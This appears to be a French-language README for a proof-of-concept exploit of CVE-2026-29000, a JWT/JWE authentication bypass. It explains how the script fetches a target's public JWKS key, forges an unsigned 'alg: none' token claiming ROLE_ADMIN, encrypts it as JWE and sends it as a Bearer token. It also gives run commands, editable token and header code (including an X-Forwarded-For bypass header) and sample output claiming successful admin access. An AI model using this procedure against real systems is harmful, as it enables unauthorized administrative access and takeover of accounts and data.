
PoC de la CVE-2026-29000
Un script de preuve de concept (PoC) démontrant une vulnérabilité de contournement d'authentification utilisant des JSON Web Tokens (JWT) et le chiffrement JSON Web Encryption (JWE). Cet outil exploite les environnements qui valident incorrectement les algorithmes de jeton en acceptant des JWT non vérifiés (alg: none) encapsulés dans une structure JWE valide.
Cette chaîne d'exploitation profite d'une faille courante d'implémentation cryptographique :
jwks (JSON Web Key Set) exposé publiquement par la cible et télécharge la clé RSA publique du serveur.ROLE_ADMIN. Il définit intentionnellement l'en-tête d'algorithme sur "alg": "none".Authorization: Bearer. Si le serveur déchiffre le JWE et fait aveuglément confiance au JWT interne sans vérifier sa signature, l'accès est accordé.Avant d'exécuter le script, assurez-vous que Python 3 est installé ainsi que les dépendances nécessaires.
pip install requests jwcrypto
Le script nécessite deux arguments : l'URL du tableau de bord cible que vous souhaitez tester et l'URL où sont hébergées les clés publiques.
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>
Selon votre cible, vous devrez peut-être ajuster la structure du jeton ou les requêtes HTTP pour contourner des filtres spécifiques.
Si le serveur cible attend des champs spécifiques dans le JWT lui-même (comme un en-tête typ, ou des identifiants utilisateur personnalisés dans le payload), vous pouvez facilement les ajouter.
Ouvrez exploit.py et localisez cette section :
token_header_information = {
"alg": "none"
}
token_user_information = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
Vous pouvez ajouter les champs de votre choix séparés par des virgules. Par exemple, pour ajouter un typ (Type) et un kid (Key ID) à l'en-tête JWT, ainsi qu'un e-mail personnalisé au payload :
token_header_information = {
"alg": "none",
"typ": "JWT",
"kid": "my-custom-key-id"
}
token_user_information = {
"sub": "admin",
"email": "[email protected]",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
Si votre cible exige des en-têtes réseau spécifiques (comme un User-Agent personnalisé, des en-têtes de contournement tels que X-Forwarded-For, ou des clés API), localisez la requête réseau en bas du script :
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token
}
Ajoutez vos en-têtes réseau supplémentaires de cette manière :
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"X-Forwarded-For": "127.0.0.1",
"Accept": "application/json"
}
Remarque : Si vous avez également besoin d'envoyer ces en-têtes lors du téléchargement initial de la clé publique, vous pouvez passer ce même dictionnaire à l'appel requests.get() en haut du script.
En cas de succès, le script affichera le jeton forgé et la réponse analysée de l'endpoint restreint, prouvant le contournement :
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!
Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...
Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard
SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN
Erreurs HTTP 401/403 : Le serveur cible valide correctement les signatures et rejette le payload alg: none. L'exploit a échoué parce que la cible est sécurisée.
Erreurs de connexion : Assurez-vous que les URL fournies incluent le schéma complet (http:// ou https://) et que le serveur cible est actuellement accessible.
Erreurs de dépendances : Assurez-vous que jwcrypto est correctement installé via pip.